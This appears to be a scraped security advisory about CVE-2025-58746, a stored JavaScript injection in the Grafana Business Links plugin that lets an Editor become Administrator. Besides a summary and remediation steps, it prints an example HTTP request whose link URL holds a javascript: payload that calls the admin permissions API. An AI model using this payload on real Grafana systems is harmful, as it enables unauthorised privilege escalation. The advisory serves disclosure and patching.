Overview<\/strong><\/p>\n

In this post, we discuss the recent discovery of a critical vulnerability in the Volkov Labs Business Links panel for Grafana. This vulnerability, identified as CVE-2025-58746, can allow a malicious actor with Editor privileges to escalate their privileges to Administrator, thus potentially compromising the entire system or leading to data leakage. This vulnerability is particularly concerning because of the popularity of Grafana as a data visualization and monitoring tool across different industries.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-58746
\nSeverity: Critical (CVSS: 9.0)
\nAttack Vector: Network
\nPrivileges Required: Low (Editor Level)
\nUser Interaction: None
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Volkov Labs Business Links panel for Grafana | Versions prior<\/a> to 2.4.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability resides in the plugin’s<\/a> [Layout] \u2192 [Link] \u2192 [URL] field. An attacker with editor privileges can inject arbitrary JavaScript code<\/a> into this field. This code can subsequently be executed<\/a> to escalate the attacker’s privileges to an administrator level, thereby allowing the attacker to perform arbitrary administrative actions. This could lead to system<\/a> compromise or data leakage if exploited successfully.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

While we won’t provide an exact malicious payload, a conceptual example of exploiting this vulnerability might look something like this:<\/p>\n

POST \/api\/dashboards\/db HTTP\/1.1\nHost: grafana-instance.com\nContent-Type: application\/json\nAuthorization: Bearer {editor's api key}\n{\n\"dashboard\": {\n\"id\": null,\n\"title\": \"Malicious Dashboard\",\n\"panels\": [\n{\n\"type\": \"business-links\",\n\"gridPos\": {\"x\": 0, \"y\": 0, \"w\": 24, \"h\": 8},\n\"options\": {\n\"links\": [\n{\n\"title\": \"Malicious Link\",\n\"url\": \"javascript:fetch('\/api\/admin\/users\/1\/permissions', {method: 'POST', body: JSON.stringify({isAdmin: true}), headers: {'Content-Type': 'application\/json'}})\"\n}\n]\n}\n}\n]\n}\n}<\/code><\/pre>\n
In this conceptual example, the attacker is creating a new dashboard with a link that, when clicked, sends a request to the Grafana API to elevate the user’s permissions to administrator level.<\/p>\n
Remediation<\/strong><\/p>\n
Users are advised to update to the newest version (2.4.0 or later) of the Volkov Labs Business Links plugin for Grafana as it contains a fix for this issue. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and prevent the exploitation of this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"
